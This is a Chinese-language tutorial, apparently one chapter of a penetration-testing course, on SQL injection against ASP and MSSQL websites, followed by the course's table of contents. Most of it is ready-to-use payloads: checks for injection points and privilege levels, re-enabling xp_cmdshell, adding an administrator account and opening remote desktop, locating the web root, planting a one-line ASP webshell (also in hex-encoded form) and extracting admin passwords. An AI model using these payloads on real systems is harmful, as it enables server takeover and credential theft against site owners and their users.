msSQL數據庫注入:
參考:https://blog.csdn.net/xabc3000/article/details/7615378
介紹一下基于ASP+MsSQL環境下的注入攻擊技術。
## 第一步:注入點類型的判斷
首先要對MsSQL注入點進行一下基本的注入檢測,然后判斷是否是MsSQL注入點
```sql
# 如果頁面返回正常,則說明為MsSQL注入點。
and exists (select * from sysobjects) >0
```
## 第二步:獲取當前系統用戶名
```sql
and system_user=0
# system_user是查詢當前數據庫系統的用戶名,是字符型,與整型數據進行對比時,類型不匹配會造成數據庫報錯。
# 從返回的錯誤信息中,可得知當前系統用戶名。(如果不行,換個瀏覽器試試可能就成功了)
```
##第三步:判斷注入點權限
```sql
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('db_owner'))
and 1=(select is_srvrolemember('public'))
如果查詢返回正常頁面,則說明當前數據庫用戶具有sa、db_owner、public權限,
sa為數據庫用戶中最高權限,默認也是系統權限,對服務器安全威脅是相當高的。
如果數據庫與Web服務器是同一個,默認情況下可以通過MsSQL自帶的存儲過程對整個服務器進行控制。
db_owner 權限的話,我們可以找到WEB的路徑,然后用備份的方式得到webshell,有時也可以對注冊表進行操作。
public 權限的話,又要面對表和列了,不過MSSQL比ACCESS的“猜”表方便許多,這里是“暴”表,使目標直接暴出來。
如果權限不足,可通過注入點猜解數據庫內容獲得管理員賬號。
```
## 第四步:MsSQL返回信息判斷
```sql
and @@version>0
# 從頁面返回的錯誤信息中,可以得到數據庫版本信息。
# 如果頁面出錯,但未返回可利用的信息,則說明MsSQL關閉了錯誤信息提示,
# 在猜解數據庫內容時,就不能用爆庫的方法了,只能使用union select聯合查詢或盲注入攻擊方法。
# 如下查詢檢測,獲得更多的關于MsSQL注入點的信息。
## 判斷MsSQL支持多行語句查詢
;declare @d int
# 是否支持子查詢
and (select count (1) from [sysobjects])>=0
# 獲取當前數據庫用戶名
and user>O
# 獲取當前數據庫名稱
and db_name>0
# 當前數據庫名
and l=convert (int,db_name ()) 或 1=(select db_name ())
# 本地服務名
and 1=(select @@servername)
# 判斷是否有庫讀取權限
and 1=(Select HAS_DBACCESS ('master'))
```
## 第五步:利用MsSQL擴展存儲注入攻擊
擴展存儲過程是MsSQL提供的特殊功能。
所謂“擴展存儲過程”,其實就是一個普通的Windows系統DLL文件,按照某種規則實現了某些函數功能.
MsSQL利用擴展存儲可以實現許多強大的功能,包括對系統進行操作.利用這個特性,在實施MsSQL注入攻擊時,可以更容易地對系統進行控制。
xp_cmdshell是什么?
答:SQL中運行系統命令行的系統存儲過程,一般在安全級別較高的服務器上,建議關閉或限制訪問權限。
可以使用外圍應用配置器工具以及通過執行 sp_configure 來啟用和禁用 xp_cmdshell。
```sql
# 提交如下查詢進行檢測。查看xp_cmdshell、xp_regread擴展存儲過程是否被刪除。
and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread')
#如果擴展存儲被刪除,可執行如下查詢進行恢復。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
## 或者以下一系列語句:
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
```
### 攻擊中最常利用的擴展存儲
xp_cmdshell—利用此存儲過程可以直接執行系統命令。
xp_regread—利用此存儲過程可以進行注冊表讀取。
xp_regwrit一利用此存儲過程可以寫入注冊表。
xp_dirtre一利用此存儲過程可以進行列目錄操作。
xp_enumds—利用此存儲過程可以進行ODBC連接。
xp_loginconfig-利用此存儲過程可以配置服務器安全模式信息。
xp_makecab一一利用此存儲過程可以創建壓縮卷。
xp_ntsec_enumdomains-利用此存儲過程可以查看domain信息。
xp_terminate_jroces一利用此存儲過程可以查看終端進程,給出一個進程PID.
結合上面的這些擴展存儲,通過提交精心構造的查詢語句,可利用擴展存儲的強大功能進行攻擊。
## 第六步:SA權限下擴展存儲攻擊利用方法→3389遠程終端
SA權限判斷
```sql
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
````
利用擴展存儲開啟遠程終端步驟:
```sql
# 1.添加賬號:
;exec master..xp_cmdshell 'net user test test /add'
# 2.提權賬號:加入admin組
;exec master..xp_cmdshell 'net localgroup administrators test /add'
# 3.開啟3389端口:不報錯就表示成功
;execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
# 4.鏈接3389端口控制對方的電腦
輸入目標的IP,賬號密碼就是test,連接成功后退出的話點擊斷開,不要關機。
```
?sa權限下,還有如下幾種方法都可以獲得目標的webshell。
* 利用 xp_regwrite 操作注冊表與開啟沙盒模式
* 利用 sp_makewebtask 寫入一句話木馬
* 利用 sp_oacreate 存儲遠程下載文件
* 利用 sp_addlogin 擴展管理數據庫用戶
* 利用 xp_servicecontrol 管理服務
## 第七步:dbowner 權限利用方法( )
dbowner權限判斷
```sql
and 1=(SELECT IS_MEMBER('db_owner'));--
```
?當數據庫連接賬戶為dbowner權限時,無法直接利用擴展存儲執行各種系統命令,進行攻擊的過程比較煩瑣。
1. 通常首先利用xp_dirtree擴展存儲列出Web目錄,
2. 然后利用SQL語句創建一個臨時表,插入一句話木馬到臨時表中。
3. 然后利用數據庫備份語句,將數據庫備份到Web目錄并保存為ASP格式的文件,即可得到一個一句話木馬后門。
4. 最后利用一句話木馬客戶端連接后門,得到WebShell后就可以控制整個服務器了。
??db_owner目前公開的方法主要有五種:
第一種:就是最普遍的backup,現在利用差異備份生成的asp文件確實要比以前小拉不少,但能否得到webshell,目前成功率還不是很高。
第二種:就是在下的萬能提權,此法成功率幾乎為零,只有在特定的條件下面才能實現。
第三種:就是LCX大牛在《MSSQLdb_owner角色注入直接獲得系統權限》所說的利用xp_regread讀出VNC在注冊表的加密密碼,然后破解,直接拿到系統權限,這種方法局限性比較大,要是對方主機沒有裝vnc,你怎么辦。
第四種:就是利用xp_regwrite再注冊表里直接加個系統帳號或者直接寫個webshell,在主機重起的時候就可以拿到webshell或者系統權限。此法適用范圍比較大,成功率也相對前3種較高點,但缺點也是顯而易見的,就是不能夠馬上得到webshell,需要對方重起。
第五種:就是利用添加作業的一些存儲過程,sp_add_job,sp_addtask,xp_dirtree之類得到系統權限。理論上應該說是目前這5種里面成功率最高的的一種,
下面我們就重點介紹一下第五種方法。
### 1.找出網站安裝路徑:
當Web服務器與數據庫在同一服務器主機上時,就可以備份一句話木馬到Web目錄了。但是在備份一句話木馬前,首先需要搜索Web目錄,可通過如下幾個步驟實現。
第壹種方法:通過報錯或baidu、google等查找
第貳種方法:這種方法需要滿足三個條件,可以獲取目標的所有盤符和深度
1. SQL SERVER允許執行多行語句;
2. 該網站能進行注入;
3. 沒有返回詳細的錯誤提示信息(否則沒有必要用這種方法)。
```sql
# 1. 刪除表black;首先建立一個臨時表用于存放master..xp_dirtree(適合于public)生成的目錄樹 ,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。
;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255), id int not null identity (1,1))--
# 2. 然后執行xp_dirtree獲得D盤的目錄樹
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'D:',1,1--
# 3. 查看D盤有幾個文件夾,這樣對D盤有個大致的了解
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數字(數字=0、1、2、3...)
# 4. 接著在對方的網站上找幾個一級子目錄,如user、photo,然后,用篩選的方法來判斷WEB根目錄上是否存在此盤上
## 看語句的返回結果,如果為真,表示WEB根目錄有可能在此盤上
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
# 5. 假設找到的WEB根目錄在此盤上,用下面的語句來獲得一級子目錄的深度:
## 假設得到的depth是3,說明user目錄是D盤的3級目錄,則WEB根目錄是D盤的二級目錄。
and (select depth from temp where dir='user')>=數字 #數字=1、2、3...
# 6. 接下來,另建一個臨時表temp1,用來存放D盤的1級子目錄下的所有目錄
;create table temp1(dir nvarchar(255),depth varchar(255));--
# 7. 然后把從D盤的第一個子目錄下的所有目錄存到temp1中
declare @dirname varchar(255);set @dirname='D:/'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
# 8. temp1中已經保存了所有D盤第一級子目錄下的所有目錄,用同樣的方法來判斷根目錄是否在此一級子目錄下
## 如果返回為真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回為假,則表明WEB根目錄不在此目錄下
## 用同樣的方法來獲得D盤第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。
## 要注意,用xp_dirtree前一定要把temp1表中的內容刪除。
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
# 9.假設WEB根目錄在D盤的第一級子目錄下,該子目錄名稱為website,
## 前面我們知道了WEB根目錄的深度為2,我們需要知道website下到底哪個才是真正的WEB根目錄。
## 用同樣的方法,再建立第3個臨時表 temp2
;create table temp2(dir nvarchar(255),depth varchar(255));--
# 10. 然后把從D盤的website下的所有目錄存到temp2中
declare @dirname varchar(255);set @dirname='D:/website/'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
# 11.用同樣的方法判斷該目錄是否為根目錄
## 如果返回為真,為了確定我們的判斷,多測試幾個例子,方法上面都講到了,如果多個例子都返回為真,那么就確定了該目錄為WEB根目錄。
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
用以上的方法基本上可以獲得WEB根目錄,現在我們假設WEB根目錄是:D:/website/www
# 12. 查詢臨時表中的內容,也就是指定的目錄文件和文件夾名。由于不能一次性獲取所有目錄文件和文件夾名,因此需要更改id的值,依次列出文件和文件夾來。
and (select dir from temp where id=1)>0
```
### 2.獲取數據庫用戶名
```sql
'http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O--
```
### 3.寫入一句話木馬:
方法一:一句話木馬'(通過中國菜刀)
```sql
%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--
# <%eval%20request("chopper")%> 是一句話木馬,需要根據web的不同而變化
# c:\wwwtest\iis-xxser.com--wwwroot\ 是路徑
# muma.asp 是一句話木馬的名字
```
方法二:差異備份'(此方法數據庫必須曾經備份過事務日志)
```sql
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
# (0x3C2565786375746528726571756573742822636D64222929253E) 是一句話木馬的16進制編碼
# C:\wwwtest\iis-xxser.com--wwwroot\ 是物理路徑
# yjh.asp 是一句話木馬的名字
```
也可以使用工具代替上述操作(GetWebShell),然后用菜刀連接目標
* 地址為:目標的根目錄地址然后/muma.asp
* 密碼為:“chopper”
然后就可以進入對方的服務器了。
## 第八步:public權限利用方法
```sql
# public權限檢測
and db_name()=0--
# 1.獲取mssql所有數據庫名和路徑
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
# 2.獲取當前數據庫所有表名
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
# 3.爆表名及字段名
having 1=1-- ●爆出了admin.id
group by admin.id having 1=1-- ●又爆出了admin.name
group by admin.id,admin.name having 1=1-- ●又爆出了admin.passwd
# 4、獲取字段內容
//and//(select//top//1//isnull(cast([id]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]//as//nvarchar(4000)),char(32))//from//[testdb]..[admin]//where//1=1//and//id//not//in//(select//top//0//id//from//[testdb]..[admin]//where//1=1//group//by//id))%3E0//and//1=1
```
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具